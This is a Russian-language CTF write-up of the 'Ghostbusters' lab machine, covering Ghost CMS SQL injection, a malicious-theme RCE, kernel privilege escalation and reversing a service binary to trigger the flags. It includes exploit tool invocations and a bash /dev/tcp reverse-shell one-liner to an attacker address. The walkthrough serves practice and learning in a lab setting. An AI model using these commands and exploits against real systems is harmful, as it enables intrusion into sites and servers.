
Данный таск был частью 7 сезона CTF, который проводился на платформе aclabs.pro. Любителям фильма «Охотники за приведениями» рекомендую ознакомиться. Это необычная тачка с двумя флагами user и root. В центре внимания будет уязвимость в вебчике движка ghost cms, а вот флаги, вот здесь интереснее. Были случаи, когда участники брали рута, но не смогли найти ни одного флага. Поэтому считаю эту машину крайне инетресной.
Разведка
Первичный анализ цели, сбор информации.
sudo nmap -sC -sV -v 10.10.10.228 ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0) 80/tcp open http nginx |_http-title: Did not follow redirect to http://Ghostbusters.acl/ | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Из скана видим ничего необычного, 22 порт ssh и 80 порт веб. Не забываем добавить айпишник в etc/hosts с доменом ghostbusters.acl

Теперь я понял, почему машина называется ghostbusters. Во первых, этот движок я сразу узнал, потому что мой блог также использует его. Это ghost cms, со стандартной темой Casper в данном случае.
Поскольку у нас CMS, крайне важно знать версию, чтобы поискать уязвимости. Откроем исходники и изучим.

Если внимательно покапаться, то можно узнать версию и она = 6.19, которая уже к слову не совсем новая. Я недавно слышал об уязвимости и как раз версия подходящая.
Эксплуатация
После недолгих поисков, знаю конкретную версию, можно найти доступные CVE. Их кстати немало именно в 2026 году, есть даже с rce, но нужны креды, у нас их нет на данный момент.
Поэтому первая CVE которой мы воспользуемся это CVE-2026-26980 — ? Ghost CMS Unauthenticated SQLi via Content API. Данная уязвимость позволит нам узнать данные для входа в админ панель.
python3 main.py -u http://ghostbusters.acl/ -d mysql -T users -C email,password

Здесь важно указать тип базы данных, в проде обычно будет mysql, ее и выбираем.
Есть e‑mail и хэш пароля bcrypt , Blowfish (Unix). Далее в дело вступает john, получаем пароль, входим в админку по адресу
http://ghostbusters.acl/ghost/#/signin
Итак мы в админке. У нас даже есть опция Code injection, который позволяет внедрить код в header или footer.

Однако прокинуть реверс шелл, у меня не получилось.
Далее я пошел искать уязвимости дальше, и нашел еще одну которая дает rce, за счет загрузки вредносной темы оформления. А поскольку мы имеем права админа, мы можем менять и загружать темы.
CVE-2026-29053 вот рабочий эксплойт, который создаст тему, нам нужно указать свой хост и порт для получения реверс шелла.
python3 exploit.py -i http://10.20.10.5 -p 4444

Берем сгенерированный архив и загружаем в админку, активируем и создаем страницу со слагом /rce.



Получаем кастрированный шелл от пользователя slimer, на котором мы не можем перемещаться.

Повышаем привелегии и читаем флаги (или нет?)
Сразу прокину человеческий шелл и стабилизирую его для удобной работы.
bash -c '/bin/sh -i >& /dev/tcp/10.20.10.2/4445 0>&1' python3 -c 'import pty; pty.spawn("/bin/bash")' ctrl+z stty raw -echo && fg export TERM=xterm-256color reset
Посмотрел в домашнем каталоге, флагов не обнаружил, нашел только скрытую папку.slimer в которой было изображение. Скачал, повертел его, через exiftool, steghide, ничего не нашел и пошел дальше искать.
Далее проверил версию ядра и у нас здесь Дебиан 6.12, а значит dirtyfrag должен отработать.

Получили рута. Ищем флаги. В папке root есть письмо.
root@Ghostbusters:/root# cat letter_for_you.txt Здравствуйте! От лица всей команды хочу поблагодарить вас за помощь в восстановлении нашей инфраструктуры. Благодаря вашей работе нам удалось вернуть контроль над сайтом и устранить последствия действий Лизуна. Однако работа ещё не завершена. Во время расследования выяснилось, что учётная запись root могла быть скомпрометирована. Пока её пароль не изменён, нельзя гарантировать, что злоумышленник не сможет снова получить доступ к системе. Для завершения операции и полного восстановления безопасности необходимо изменить пароль пользователя root. После выполнения этой задачи вы сможете получить финальный отчёт и подтвердить успешное завершение работ. Удачи! Питер Венкман Ghostbusters
Из письма ясно, что нужно изменить пароль у рута. Сказано — сделано.
sudo passwd
Пароль поменял, но ничего не произошло. Ушел в долгие поиски, хоть чего‑то. Это была первая машина, где я получил рута, но не могу найти хотя бы юзер флаг. Пошел грузить linpeas, может он что подскажет…
secservice.service loaded active running Ghostbusters Security Service Potential issue in service: secservice.service └─ RUNS_AS_ROOT: Service runs as root
Посмотрел на необычный сервис, который как раз таки схож с названием таска.
Далее ищем
find / -name "secservice" /usr/local/bin/secservice root@Ghostbusters:/tmp# ls -la /usr/local/bin/secservice -rwx------ 1 root root 16960 Jun 8 17:05 /usr/local/bin/secservice root@Ghostbusters:/tmp# file /usr/local/bin/secservice /usr/local/bin/secservice: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4fbab9d6d064c0f836261702669298744de6b091, for GNU/Linux 3.2.0, not stripped
Понятно, что это бинарник и нужно снова браться за реверс.
Передаем открываем гидру.

Изучив исходники, понял, что я на правильном пути. Более того флаги уже существуют и user и root.
iVar1 = lstat("/home/slimer/.slimer/slimer.png",&sStack_10c8); while ((iVar1 == 0 && ((sStack_10c8.st_mode & 0xf000) == 0x8000))) { sleep(0xf); iVar1 = lstat("/home/slimer/.slimer/slimer.png",&sStack_10c8); } create_user_report();
Вот это самая важная часть.
lstat проверяет статус файла /home/slimer/.slimer/slimer.png.
st_mode & 0xf000 — это наложение битовой маски S_IFMT (в восьмеричной системе 0170000), которая выделяет тип файла.
0×8000 — это константа S_IFREG (в восьмеричной 0100000), обозначающая обычный (регулярный) файл.
Цикл крутится (засыпая на 15 секунд), пока этот файл существует и является обычным файлом.
Получается, что этот файл, нужно либо переименовать, либо удалить, либо изменить символическую ссылку.
Поэтому я его переименовал и подождал 15 секунд.

Триггер сработал, цикл замкнулся и выдал флаг.
Рутовый флаг тоже появился в папке root, потому что я уже сменил пароль до этого из подсказки в письме.

Однако если вернуться к теме реверса, то в бинарнике есть и второй цикл.
while( true ) { // ... очистка буфера local_1038 ... iVar1 = get_root_hash(local_1038,0x1000); if ((iVar1 != 0) && (iVar1 = strcmp(local_1038,(char *)&initial_root_hash), iVar1 != 0)) break; sleep(0xf); } create_report("/root/final_report.txt",&DAT_001021c0,&root_flag,0x180);
Программа раз в 15 секунд заново вычисляет root_hash и сравнивает его с initial_root_hash, который она запомнила при старте.
Если хеши отличаются (strcmp!= 0), цикл прерывается.
Сразу после этого вызывается create_report, который берет данные из root_flag и записывает их в /root/final_report.txt.
Поэтому нужно изменить пароль, тем самым измениться хэш рута, о чем и было указано в письме.
Без такого письма, эта тачка врядли тянет на легкий уровень, потому как читать код на C крайне сложно, конечно есть ИИ, но в условиях CTF это тоже отнимает приличное количество времени.
Райтап от @alfabuster